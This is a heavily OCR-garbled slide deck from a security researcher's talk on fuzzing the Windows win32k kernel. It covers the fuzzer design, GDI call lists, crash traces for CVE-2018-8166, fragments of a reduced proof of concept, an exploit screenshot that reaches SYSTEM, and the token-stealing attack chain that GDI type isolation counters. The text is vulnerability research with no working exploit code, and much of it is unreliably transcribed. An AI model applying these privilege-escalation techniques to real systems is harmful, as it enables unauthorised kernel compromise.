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Introduction

* Whoam | ?
» @ Researcher in Tencent Zhanlu Lab
* @ Focusing on Windows kernel
o Especially local privilege escalation
« @ @cOde3 on Twitter.
* o Interests:
-Reverse Engineering
-Vulnerability Research
-Malware Analysis
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Introduction -Goals

* Goals ?
* Find many Windows Kernel Vulnerabilities
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What are we aimed?

* win32k- syscalls
» GDI OBJECTS (DC ,Bitmap, Palette, Rgn, Pen,Brush,Path)

» User Objects(Desktop,Menu,lcon,Hook, Accelerator table,
Window)

» Target Module

Win32k.sys win32k l[,Ntoskrnl.exe
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Something about Fuzzing

* What is Fuzzing ?

» Automated software testing technique
* Invalid, unexpected or random data used as input
* Monitor target program for crashes

, ALEENS

» How to generate new input? SR UL \

- Random? Not effective (Feedback manua ; \
o~ "fg;?‘ P~
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Framework Architecture

* Fuzzing Script

* Fuzzing test case

* Fuzzing Servers

* Fuzzing Dump collector
* Fuzzing framework goal
-Easily scalable
-Reproducible BSOD
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Kernel Fuzz Framework

° FUZZ]ng Bugs
Collector

Security Researcher

Fuzz Script Cases

H

FuzzPCl1 Fuzz PC2 Fuzz PC3 Fuzz PC...N

Fuzz Logs

Crash Script




kd> x *win32kfull*!*GDI*

ffff8864" ele71270
ffffasea” elfofsae
ffff8864" eledbsoe
ffff8864° e20249c@
ffffsse4’ elffbl7e
ffff8864" elebb370
ffff8864’ elflaese
ffff8864" elee3lon
ffff8sea” elfelale
ffff8se4” elf37910
ffff8864" e2160058
ffff8864" e2050800
ffff8sea” elefl77e
ffff8864" eled5990
ffffesea” elf37930
ffff8864" e2050610
ffff8864" e2092ea@
ffff8864" eleSalse
ffffese4" elf24490
ffff8864" elfl5age
ffff8864° ele@d590
ffff8864" e2160068
ffff8864" e2087140
ffff8864" eledsbls
ffff8s6e4” elesd2co
ffff8864" e21600ds
ffff8se4” elf33s810
ffff8sea” elefsfae
ffff8864" e2160040
ffff8864" e2090360
ffff8864" e2058760
ffff8864" e2080460
ffff8se4” elf18l3e
ffff8864" e208f5c@
ffff8864" elf37a90
ffffese4” elfedlce
ffff8864” e20977f0
ffff8864" e204fa@
ffff8se4” elf36430
ffff8864° e20903c@
ffff8864" elfosege
ffff8864° e2058630

win32kfulllNtGdiGetPixel (<no parameter info>)
win32kfull!NtGdiMakeInfoDC (<no parameter info>)
win32kfulllNtGdiCreateServerMetaFile (<no parameter info>)
win32kfull!NtGdiEngStrokePath (<no parameter info>)
win32kfulllNtGdiFullscreenControl (<no parameter info>)
win32kfull!NtGdiEngStretchBlt (<no parameter info>)
win32kfulllNtGdiUnmapMemFont (<no parameter info>)
win32kfull!NtGdiModifylorldTransform (<no parameter info>)
win32kfulllNtGdiFontIsLinked (<no parameter info>)
win32kfull!NtGdiCreateCompatibleDC (<no parameter info>)
win32kfulll_imp_NtGdiOpenDCW = <no type information>
win32kfulllNtGdiDDCCISetV(PFeature (<no parameter info>)
win32kfulllGdiMultilUserFontCleanup (<no parameter info>)
win32kfulllNtGdiGetCharSet (<no parameter info>)
win32kfull!NtGdiCreateOPMProtectedOutput (<no parameter info>)
win32kfull!NtGdiDDCCIGetCapabilitiesStringlength (<no parameter info>)
win32kfull!NtGdiBRUSHOB] _pvAllocRbrush (<no parameter info>)
win32kfulllNtGdiExtGetObjectld (<no parameter info>)
win32kfull!NtGdiGetKerningPairs (<no parameter info>)
win32kfulllNtGdiEngMarkBandingSurface (<no parameter info>)
win32kfull!IsGdiThreadCalloutFlus BatchSupported (<no parameter info>)
win32kfulll_imp_NtGdiInit = <no type information>
win32kfull!NtGdiStrokePath (<no parameter info>)
win32kfulllGdiHintSpriteShape (<no parameter info>)
win32kfull!NtGdiSetIcmMode (<no parameter info>)
win32kfulll_imp_NtGdiGetCOPPCompatibleOPMInformation = <no type information>
win32kfull!NtGdiGetBitmapDpiScalevValue (<no parameter info>)
win32kfulllNtGdiSetBoundsRect (<no parameter info>)
win32kfulll_imp_NtGdiRectInRegion = <no type information>
win32kfull!NtGdiGetObjectBitmapHandle (<no parameter info>)
win32kfull!NtGdiDdDDISharedPrimaryUnLockNotification (<no parameter info>)
win32kfulllNtGdiCreateEllipticRgn (<no parameter info>)
win32kfulllNtGdiEnglockSurface (<no parameter info>)
win32kfulllNtGdiCancelDC (<no parameter info>)
win32kfulllNtGdiGetSuggestedOPMProtectedOutputArraySize (<no parameter infod>)
win32kfull!NtGdiDeleteClientObj (<no parameter info>)
win32kfulllNtGdiConvertMetafileRect (<no parameter info>)

win32kfull INtGdiFONTOB]_cGetGlyphs (<no parameter info>)
win32kfulllPowerOffGdi (<no parameter info>)
win32kfull!NtGdiGetRasterizerCaps (<no parameter info>)
win32kfulllNtGdiAnyLinkedFonts {<no parameter info>)

win32kfull |NtGdiDdDDIGetPresentQueusEvent (<no parameter info>)

Find the target Functions

 Find the target functions with the windbg.

kd> x *win32kbase* | *GDI*

ffffssesa” e2242710
ffff8sea” e2210420
ffffsses” e2242710
ffffss64” e2laa3le
98bf@
ffff8864" e2laa3le
ffffsses” e2242710
ffff8864" e2lbee2c
ffff8864" e2laa3le
ffff8se4” e2242710
ffff8864” e21féccd
ffffases” e2242710
ffffas64" e2295900
ffff8se4” e2242710
ffffsses” e2242710
ffff8864° e2lacc3s
ffffsses” e2lblfoe
ffffsse4” e2lblfoe
ffff8864" e21befd@
ffff8s64" e2295170
ffffsses” e2242710

ffff8864° e21boded
ffff88e4” e2242710
ffff88e4” e2242710

ffffsse4” e21bd75@
ffff8864" e22982e0
ffff8s64" e2lc3dle
ffff8864” e2laasle
ffff8864° e2lcadse
ffffsses” e2242710
ffffss64" e21b2830
ffffsse4” e21lblfoe
ffff8864" e21c4750@
ffff8s64" e2350150@
ffffsse4” e2lblfoe

win32kbaselext_ms_win_moderncore win32k_base_ntgdi_11_1_@ IsvTrustec
win32kbase!DxgkEngGetlindowGdiDpiScalingFactor (<no parameter info>’
win32kbase!GdiThreadCallout (<no parameter info>)
win32kbaselext_ms_win_moderncore win32k_base_ntgdi_11_1_@ IsUMPDCact
win32kbaselext_ms_win_moderncore win32k_base_ntgdi_l1_1_@ GrePolyPo.
win32kbase!NtGdiDdDDIWaitForverticalBlankEvent2 (<no parameter info:
win32kbaselext_ms_win_moderncore_win32k_base_ntgdi_l1_1_@ atmfdEnabl
win32kbaselext_ms_win_moderncore win32k_base_ntgdi_11_1_@ IsW32kGent
win32kbaselGdiHandleManager: :Destroy (<no parameter info>)
win32kbaselext_ms_win_moderncore win32k_base_ntgdi_l1_1_ @ GetgForcef
win32kbaselext_ms_win_moderncore_win32k_base_ntgdi_l1_1 @ IsGetgpDe
win32kbase!NtGdiCreateCompatibleDC (<no parameter info>)
win32kbaselext_ms_win_moderncore win32k_base_ntgdi_11_1_@ IsbATMFDD:
win32kbase!NtGdiDdDDISetHwProtectionTeardownRecovery (<no parameter
win32kbaselext_ms_win_moderncore_win32k_base_ntgdi_11_1_ @ IsDxgkEngf
win32kbaselext_ms_win_moderncore_win32k_base_ntgdi_11_1_@ IsbInitRec
win32kbase!NtGdiCloseProcess (<no parameter info>)
win32kbaselext_ms_win_moderncore win32k_base_ntgdi_l1_1_@ DumDestros
win32kbaselext_ms_win_moderncore_win32k_base_ntgdi_11_1 @ vInitFont:
win32kbase!NtGdiDdDDIConfigureSharedResource (<no parameter infod>)
win32kbase!NtGdiCreateOPMProtectedOutput (<no parameter infod>)
win32kbaselext_ms_win_moderncore win32k_base_ntgdi_11_1_@ IsUMPDDrv(
win32kbaselext_ms_win_moderncore_win32k_base_ntgdi_l1_1_ @ IsDestroyf
win32kbase!NtGdiDdDDIPresent (<no parameter info>)
win32kbaselext_ms_win_moderncore win32k_base_ntgdi_11_1_@ IsW32kCdd!
win32kbaselext_ms_win_moderncore win32k_base_ntgdi_11_1_@ IsFreeNon(
win32kbaselext_ms_win_moderncore wi _base ntgdi_11_1_@ IsGreHide!
win32kbase!NtGdiDdDDILock (<no parameter info>)
win32kbase!NtGdiDdDDIOpensSynchronizationObject (<no parameter info>’
win32kbase!DxgkEngAssertGdiOutput (<no parameter info>)
win32kbaselext_ms_win_moderncore win32k_base_ntgdi_1l1_1 @ UserGetHif
win32kbase!GdiThreadCalloutCleanup (<no parameter info>)
win32kbaselext_ms_win_moderncore win32k_base_ntgdi_11_1_@ IsUMPD_ld¢
win32kbase!NtGdiDdDDILock2 (<no parameter info>)

win32kba sct_ms_win_moderncore_win32k_base ntgdi_11_1_@ UmfdUninii
win32kbase!NtGdiDd

DDIEvict (<no par‘ametgr info>)
win32kbase!_imp_NtGdiFlushUserBatch = <no type information>
win32kbaselext ms win moderncore win32k base ntedi 11 1 @ GdiMultilk
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Generate various
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Fuzz Scri

IZ}IZ'I Fuzz
dc_| hltRate =

func_list_DC.
func_list_DC.
func_list_DC.
func llst_DC.
func_list_DC.
func_list_DC.
func_list_DC.
func_list_DC.
func_list_D

#func_list

func_list_DC.
func_list_DC.
func_list_DC.

#Regn
rgn_hitRate =

func_list_Rgn.
func_list_Rgn.
func_list_Rgn.
func_list_Regn.
func_list_Rgn.
func_list_Rgn.
func_list_Rgn.
func_list_Rgn.
func_list_Regn.
func_list_Rgn.
func_list_Rgn.
func_list_Rgn.
func_list_Rgn.
func_list Rgn.

10

append( (BeginPaint, dc_hitRate + 6))
append ( (BitBlt, dc_hitRate + 6))
append { (ExtFloodFill, dc_hitRate + 6))
append{ {SelectClipPath, dc_hitRate + 6))
append { (RestoreDC, dc_hitRate + 6))
append ( (SaveDC, dc_hitRate + 6))
append { {(SetLayout, dc_hitRate + 6))
append( (DeleteDC, dc_hitRate))
dc_hitRate + 6))

appe )C, dc_hitRate + 6))
append((SetStre‘tchBltMode, dc_hitRate + 6))
append ( (PolyBezier, dc_hitRate + 6))
append ( (PatBlt, dc_hitRate + 6))

30

append { (PaintDesktop, rgn_hitRate + 6))
append ((FillRgn, rgn_hitRate + 6))
append ( (FrameRgn, rgn_hitRate + 6))

append ( (GetPolyFillMode, rgn_hitRate + 6))
append( (GetRegionData, rgn_hitRate + 6))
append ( (GetRgnBox, rgn_hitRate + 6))
append ( (InvertRgn, rgn_hitRate + 6))
append ( (OffsetRgn, rgn_hitRate + 6))
append ( (PaintRgn, rgn_hitRate + 6))
append ( (PtInRegion, rgn_hitRate + 6))
append ( (RectInRegion, rgn_hitRate + 6))
append ( (SetPolyFillMode, rgn_hitRate + 6))
append ( (SetRectRgn, rgn_hitRate + 6))
append ( (GetWindowRen, rgn hitRate + 6))

# bitmap

func_list_Bitmap.
func_list_Bitmap.
func_list_Bitmap.
func_list_Bitmap.
func_list_Bitmap.
func_list_Bitmap.
func_list_Bitmap.
func_list_Bitmap.
func_list_Bitmap.
func_list_Bitmap.
func_list_Bitmap.
func_list_Bitmap.
func_list_Bitmap.

Generate Sample

append { (MaskBlt, 6))

append { (NtGdiDdittachSurface, 6))
append ( (EnghssociateSurface, 6))
append ( (NtGdiDdDeleteSurfaceObject, 6))
append ( (EnghssociateSurface, 6))
append ( (EngDeleteSurface, 6))
append { (EngMarkBandingSurface, 6))
append( (SetBitmapAttributes, 6))
append( (ClearBitmapittributes, 6))
append ( (DeleteBitmap, 6))

append( (SetBitmapBits, 6))
append ( (P1gBlt, 6))

append( (SetPixel, 6))

func_list. append((SetBitmapDimensionEx, 6))

palette

palette_hitRate = 10

func_list_Palette. append((
func_list_Palette. append((

. append ( (

B . append ( (NtGdiDoPalette, palette_hitRate + 6))

func_list_Palette. append((
func_list_Palette. append((
func_list_Palette., append((
func_list_Palette. append(

RealizePalette, palette_hitRate + 6))
ResizePalette, palette_hitRate + 6)

SelectPalette, palette_hitRate + 6))

)
y

NtGdiColorCorrectPalette, palette_hitRate + 6))
SetPaletteEntries, palette_hitRate + 6))
SetSystemPalettellse, palette_hitRate + 6))
ColorCorrectPalette, palette_hitRate + 6))

func_list Palette append((Ntf'dlEngDeletePalette palette hitRate + 6))
f a ( (F1 yale t 6

“
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Fuzz Results Summarize

« Totally found 10~20+ crash in a year
| will show some details of them

* Crash module : win32kfull.sys win32kbase.sys Ntoskrnl.exe

* The crash types:
SESSION HAS VALID SPECIAL POOL
KMODE_EXCEPTION_NOT_HANDLED
SESSION_HAS_VALID_SPECIAL_POOL_ON_EXIT
IRQL_NOT_LESS_OR_EQUAL
PAGE_FAULT_IN_NONPAGED_AREA

EIF L ie =
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Effective crash Summarize

* The bugs | found:

UAF (3~4)

nteger overflow (2~3)
Race Condition(2)
NULL Dereference(2~4)
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PoC Reduced Demo
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CVE:2018-8166:

: kd> kn
ChildEBP RetAddr
ad48ad30 81bd48b7 nt!KeBugCheckEx
ad48ad4c 81b69%e2 nt!KiFatalExceptionHandler+@xla
ad48ad70 81b699b4 nt!ExecuteHandler2+6x26
ad48ae30 81af7ce3 nt!ExecuteHandler+0x24
ad48b25c 81b62c71 nt!KiDispatchException+8x145
ad48b2c8 81b6753f nt!KiDispatchTrapException+0x51
ad48b2c8 alScelf7 nt!KiTrap@E+6x343
ad48b3de al5d33ce win32kfull!ENUMAREAS: : ENUMAREAS+0x96
ad48b614 aldc4bfe win32kfull!bSpBltScreenToScreen+8x2d7
ad48b%a4 a140859b win32kfull!SpBitBlt+@xbe650
ad48b9d8 al1441bb3 win32kfull!SpCopyBits+8x27
ad48bb4c aldcae33 win32kfull!NtGdiBitBltInternal+ex953
ad48bbf8 al414icc win32kfull!zzzBltValidBits+0xb59e5

PAINTSTRUCT paint:
BeginPaint{(hwndx, &paint) ;
int style index = — ;
int style = —0= z

SetWindowLonga{(hwndx, style inde

WINDOWPLACEMENT info:
info.length = .
info.ptMinP
info.ptMinP
info.ptMaxP ion.x
info.ptMaxPo tion.y
info.rcNormalPosition. top =
info.rcNormalPo tion.leftt =
info.rcNormalPo tion.right =
info.

info.
info. :
SetWindowPlacement {(hwndx,

ad48bc6® al413c26 win32kfull!xxxEndDeferlWindowPosSEx+0x2e8

info.length = :
info.ptMinPosition.x
info.ptMinPosition.y
info.ptMaxPosition.x
info.ptMaxPosition.y =
info.rcNormalPosition.
info.rcNormalPosition
info.rcNormalPosition.
info.rcNormalPosition
info. showCmd = 2

info. flags = z

ad48bc80 a1413a02 win32kfull!xxxSetWindowPosAndBand+@x15e
ad48bcc4 al475c@1 win32kfull!xxxSetWindowPos+e@x46
ad48bce8 al475b9b win32kfull!xxxMoveWindow+8x41
ad48bd34 81b6148e win32kfull!NtUserMoveWindow+0x14b
12 ad48bd34 773116f0 nt!KiSystemServicePostCall
WARNING: Frame IP not in any known module. Following frames may be wrong.
13 005ef93c 00LELRORO Bx773116f0
3: kd> .frame /c /r 7
07 ad48b3de al5d33ce win32kfull!ENUMAREAS: : ENUMAREAS+0x96
eax=6638febd ebx=0000RO0 kcx=2e408f7c edx=0000809f esi=ad48b498 edi=9b39c708
eip=al5celf7 esp=ad48b3c8 ebp=ad48b3de iopl=0 ov up ei pl nz ac po cy
cs=0008 s5=0010 ds=00823 es=0023 fs=0030 gs=0000 ef1=00010a13
win32kfull!ENUMAREAS: : ENUMAREAS+OX96:
alScelf7 391e cmp dword ptr [eax],edx

SetWindowPlacement{hwndx, &info) ;

int . :
int 2

int nWwidth =
int nHeight = :

int bRepaint = F]

MowveWindow{(hwndx, =<, ¥, nWwidth, nHeight, bRepaint) :




Fuzz Results And BOSD Cases

* Crash Demo

2: kd> kn
# ChildEBP RetAddr
20 b41a7492 81fce8b7 nt!KeBugCheckEx
3: kd> kn
*#* Stack trace for last set context - .thread/.cxr resets it
# ChildEBP RetAddr
@7 ad48b3d@ alSd33ce win32kfull!ENUMAREAS : :ENLMAREAS+HOXx96
2; E:EIEEBP 28 ad48b61l4 aldcabfe win32kfull!bSpBltScreenToScreent+@x2d7
2@ sbaesf7e @9 ad48b%ad ald@859b win32kfulllSpBitBlt+@xbesSo
gL shacorsc @a add8b9ds ald4lbb3 win32kfulllSpCopyBits+ox27
03 sbacaovo @b add48bbdc aldcae33 win32kfulllNtGdiBitBltInternal+@x953
24 8bdeadtc @c ad48bbf8 ald4ldlcc win32kfulllzzzBltValidBits+@xb59eS
& Beean0® @d ad4sbce@ al413c26 win3zkfull locEndDeferilindowPosExtax2es
07 shaeasle @& ad48bc80 al4l3a@2 win32kfull LecSetlindowPosAndBand+@xlSe
g—g gz:z:g; of ad48bccd al475c@l win32kfull lioeSetlindowPos+@x46
2a sbacachs 1@ ad48bced ald7Shoh win32kfull Leocovellindow+@:x4l
o sbaca7bs 11 ad48bd34 81b6l48e win32kfull !NtUserMovellindow+@x14b

Qe Shacaat® 12 addsbd34 77311670 ntlKiSystemServicePostCall
ad eaasc

=

1: kd> kn

# ChildEBP RetAddr

2@ b304b590 815d48b7 nt!KeBugCheckEx

@l b3®4bSac 815699e2 nt!KiFatalExceptionHandler+@xla
02 b324b5d@ 815699b4 nt!ExecuteHandler2+@x26

°T ot emn 7156995k ntlExecuteHandler+@x24

2e Sbdcaass WARNING: Frame IP not in any known module. Following frames may be wrong.

ef sbdeabb® 13 PRSef93c QQRRRROR @x773116T0
12 8b4eaced —

11 sbacafao 3¢ Kd> r
12 sb4eafsd Last set context:

WARNING: Frag..-ca38feb@ ebx=00000000 ecx=ae4@8f7c edx=00005309f esi=ad48b498 edi=9b39c708

13 es20fgcc -
2: kd> .frar€ip=alScelf7 esp=ad48b3c8 ebp=ad48b3d@ iopl=0

07 8bdeabld c5=PR@8 s55=0010 ds=@023 es=0023 fs=003@ gs=0002

S oedtanzcWin32k full LENUMAREAS : :ENLMAREAS+0x96:

cs=o00s ss=alScelf7 391@ cmp dword ptr [eax],edx
win32kfull!N
95df2a2c 8ba3e4 mov eax,dword ptr [ebx+4] ds:0023:00000004=77277727

ov up el pl nz ac po cy

efl=00010al3

4e85de nt!RtlRaiseStatus+@xd7
43482¢ nt!KeReleaseMutant+@xlce
1810c48 nt!KeReleaseMutex+@xlsd
+a785f7 win32kbase! SURFACE : :bUnMap+2x38
+a78962 win32kfull!DEVLOCKBLTOB] : :bUnMapTrgsurfaceViewt+@x4b
ta7@bae win32kfull!DEVLOCKBLTOB] : :vUnMap+@x2c
56148e win32kfull !NtGdislphaBlend+dx126e
3016f0 nt!KiSystemServicePostCall
: IP not in any known module. Following frames may be wrong. 3
000000 @x773016T0 :

35
:bx=00000000 ecx=51569b23 edx=815699f6 esi=00000000 edi=00000000 *'°
:5p=b304b594 ebp=b3@4bSac iopl=0 nv up el pl zr na pe nc may be wrong.
10 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246

X
17000 edi=a6378d4@
pUSh Ebp ei pl nz ac po nc
- efl=00010212
33330 nt !memmove+@x33:
""" 81dSb363 f3as rep movs dword ptr es:[edi],dword ptr [esi]
3: kd> dd edi
ab378d4@ PRI IIY PPNV 2PPIIVY 220N
ab6378d5@ 2PPRPIY PRIIIVPY 22PP2VD pRReRee?
ab6378d6@ 22PPP22P PRRIFPPY 22PP22D pPRYRee?
ab6378d7@ FIIY00RY PRRIIIOY POORNT geeeeree
a6378dB@ PIPPIIVY PPIIVYY FIPPIIY peeeaeee
ab378d9@  22P2PIP PRRINYPY 22222200 PPeere?

YA ——
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Exploit Demo (Win10 xo4

J

\Users\ john-pc ‘DP“I—'TI‘-p/ Exp¥6d. exe
—] Ex J“"’Iﬂl : .

31DF10

Ga 0 04 04 r—

[]

(-]

(-] 2 -1
[-] make fakeMenu2 -2

[-] Init finish

[-] Infoleak t enu ujdl FFFFAZ22BC0950470

tag :FFF taglENU:FFFFA22BCOAZ47ED
(-]

targ

(-]

(-]

-1

00

VriteAddr: FFFF‘L?E' F’L‘l
zet to write addr FFFFA22
make fakelenu?2

make fakeMenuZ -1
meP 1'4} ellenu2 -2

=

+] E.(},ll_llt 5L ;! .
i £t Windos [Hﬁzt 10. 0. 143

'::C,.' 2016 Nicrosoft Corporation. ﬁ%ﬁﬁﬁfi o

C:\Usersh joh n-pe \Desktop>whoami
nt authority\system

C:\Usershjohn-pciDesktope
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How to Make a Anyvvhere R&W’?

C -

cLock= 1
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Fuzzing Challenge

* GDI Object type Isolation
* More mitigation is coming......

Challenges
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Something about GDI Object type Isolation

* Normal GDI Object Attack Chain

* The Object memory layout change
» Make the fuzz more harder




GDI Object Attack Chains

1. UAF OOB(write),Integer overflow

2. Gain the R&W via GDI object
3. Use arbitrary kernel memory to steal a system process token

S
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How the type Isolation Works

» Before Type Isolation

Kernel Pool Heap Kernel Pool Heap Kernel Pool Heap

Surface Header

AAAAAAAAA
AAAAAAAAA

AAAAAAAAA
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 After Type Isolation: Surface divided into two parts

~y

How the type Isolation Works

Kernel Isolation Session Map View

R I R
B N

Kernel Pool Heap SurfaceData
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 After Type Isolation: Surface header Create and Free

~y

How the type Isolation Works

Kernel Isolation Session

B

Kernel Isolation Session view
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How the type Isolation Works

 After Type Isolation: Surface header Create and Free
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How the type Isolation Works

Kernel Isolation Session

3 3
unmapped unmapped unmapped
view..... view..... view.....
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How the type Isolation Works

 After Type Isolation: Surface Data allocate and free

SurfaceData

Kernel Pool Heap SurfaceData

Surface Data




GDI Object Surtace type \so\atio!7

e Surface create on RS4

= g _pIsolatedSurfacelockaside;
= g_pIsolatedSurfacelLookaside;
[1].Alignment);
= ExpInterlockedPopEntrySList( )
) // return the surface header

++HIDWORD(

if (! from the
r

. es35%4

ffff 55; 428dbSe@

L°°"~°R°§ ffffess9" 428db570
: = 6164; ffffe8s59" 428dbsS8@
if ( ffffes59" 428db590
{ ffffesso 428db5a@
if ( ( )IsWin32AllocPoolImplSupported() >= @ ) ffffes59” 428db5he

{ ffffe859 428dbSc@
e859°428db5d@

)Win32AllocPoolImpl(@x21i64,
- ’ ffffe859° 441cf 00

ff ( v _ ‘ ffffesso 441cfole

i // surface data Alloc  SREEEEHIEEEERS{ply

if (I( ffffesso 441cfo3e

memset( ffffe859‘441cf@4e
ffffessa 44lcfos

FFffesss aa1cFos0

ffffesso” 441cfo70

g_pIsclatedSurfacelLookaside

ffffe859° 441CFO@0
222122022 222RRCYA
Q2222002 150200

kd> dgq ffffe859°441cfooe

41414141 41414141
41414141 41414141
41414141 41414141
41414141 41414141
41414141 41414141
41414141 41414141
41414141 41414141
41414141 41414141

~

v

=

(SN

v

=

v

Yddus /bl
00000000
20000000

20000000
20000000

414141417 41414141
414141417 41414141
414141417 41414141
414141417 41414141
414141417 41414141
41414141° 41414141
41414141° 41414141
414141417 41414141
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GDI Object type |solation

* Path create on RS4

PATHMEMOB] *v1; //
unsigned _ int8 *v2; // rco»
__int64 v3; // rdi
__int64 v5; // [rsp

0i64;
9i64;
0i64;
0i64;
9i64;
0i64;
*((_GC 9i64;
*(( ¢ ) this 0i64;
*((_DWORD *)this + 28) = @;
*((_QWORD *)this + 1) = @i64;
if ( !'*((_DWORD *)this + 28) )
{
PushThreadGuardedObject((char *)this + 8@, this, THREAD_GUARDED_EPATHOBJ::vThreadCleanup);
*((_DWORD *)vl + 28) = 1;

gpTypelsclation[4];
2)
5 = NSInstrumentation::CTypeIsolation<81920,320>::AllocateType((__int64)v2);




N N e /_\ ——
HIP LI =
ZHANLU LABORATORY

Some thing about GDI Object type Isolation

« PALMEMOBJ::bCreatePalette RS4

gpTypelsolation[1];

3 )
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Conclusion And Future Work

 [n the future, UAF is fewer and fewer
more objects will be fuzzed

eg: Files,Devices, Events,Mutexes,Locks, Jobs, Sections,
Semaphores...

» Architecture and Components
Algorithms
» Exploit Method Research
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Q&A
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